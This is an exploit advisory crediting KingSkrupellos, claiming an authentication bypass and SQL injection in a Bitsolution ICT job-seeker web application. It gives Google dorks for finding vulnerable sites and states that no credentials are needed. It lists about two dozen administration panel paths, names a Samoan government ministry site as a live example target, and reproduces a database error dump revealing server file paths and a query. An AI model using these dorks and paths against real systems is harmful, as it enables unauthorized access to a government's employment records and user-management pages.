Bitsolution.ws ICT Consulting Firm 1.0 Bypass / SQL Injection

`###################################################################  
  
# Exploit Title : Bitsolution.ws ICT Consulting Firm 1.0 SQL Injection /  
Improper Authentication  
# Author [ Discovered By ] : KingSkrupellos  
# Date : 30/12/2018  
# Vendor Homepage : bitsolution.ws  
# Tested On : Windows  
# Category : WebApps  
# Exploit Risk : Medium  
# Version Information : 1.0  
# CWE : CWE-287 [ Improper Authentication ]  
+ CWE-592 [ Authentication Bypass Issues ]  
# CXSecurity Exploit Reference Link : cxsecurity.com/ascii/WLB-2018060218  
  
###################################################################  
  
Developed by Bitsolution ICT Consulting Firm  
  
Samoa Islands Improper Authentication Vulnerability  
  
# Short Title : BitSolution Samoa Islands Insecure Control Panel  
Vulnerability  
  
# Google Dorks :  
  
+ inurl:''/jobseeker_add/'' site:ws  
  
+ intext:''Developed by Bitsolution ICT Consulting Firm'' site:gov.ws  
  
# Exploit : No username and password required.  
  
# Login Panel Path => /login.php => It doesn't need for  
  
SQL Authentication ByPass. No username No Pass.  
  
# Useable URL Paths in the Administration Control Panel :  
  
/jobseeker_add/employee_service_list.php  
/jobseeker_add/employee_service_add.php  
/jobseeker_add/periodic_survey_of_employment_list.php  
/jobseeker_add/periodic_survey_of_employment_add.php  
/jobseeker_add/employer_list.php  
/jobseeker_add/employer_add.php  
/jobseeker_add/labour_market_survey_list.php  
/jobseeker_add/labour_market_survey_add.php  
/jobseeker_add/lms_ec_list.php  
/jobseeker_add/six_months_period_list.php  
/jobseeker_add/mcil_users_list.php  
/jobseeker_add/mcil_audit_list.php  
/jobseeker_add/mcil_uggroups_list.php  
/jobseeker_add/mcil_uggroups_add.php  
/jobseeker_add/mcil_ugmembers_list.php  
/jobseeker_add/mcil_ugmembers_add.php  
/jobseeker_add/mcil_ugrights_list.php  
/jobseeker_add/mcil_ugrights_add.php  
/jobseeker_add/industrial_area_list.php  
/jobseeker_add/isco_list.php  
/jobseeker_add/area_of_qualification_list.php  
/jobseeker_add/emp_serv_files_list.php  
/jobseeker_add/emp_serv_files_add.php  
/jobseeker_add/employment_history_list.php  
  
# PHP SQL Injection Error => LocalHost/jobseeker_add/lms_ec_list.php?  
  
Technical information  
Error type 256  
Error description Unknown column 'lms_id' in 'field list'  
URL www.lmis.mcil.gov.ws/jobseeker_add/lms_ec_list.php?  
Error file /var/www/html/lmis.mcil.gov.ws/jobseeker_add/  
connections/MySQLiConnection.php  
Error line 142  
SQL query SELECT `LMS_EC_ID`, `REG_NO`, `JOB_TITLE`,  
`ISCO_CODE`, `GENDER`, `AGE_GROUP`,  
`HELR`, `SOPE`, `COC`, `WPED`, `NHWPD`, `NHWPW`,  
`PAY_PERIOD`, `NWPDP`, `lms_id` FROM `lms_ec` ORDER BY 1 ASC limit 0,20  
  
###################################################################  
  
Samoa Islands Ministry of Commerce, Industry and Labour is vulnerable for  
this issue.  
  
# Example Site : lmis.mcil.gov.ws/jobseeker_add/six_months_period_list.php  
  
  
=> [ Proof of Concept ] => archive.is/ZxJtq  
  
###################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
###################################################################  
`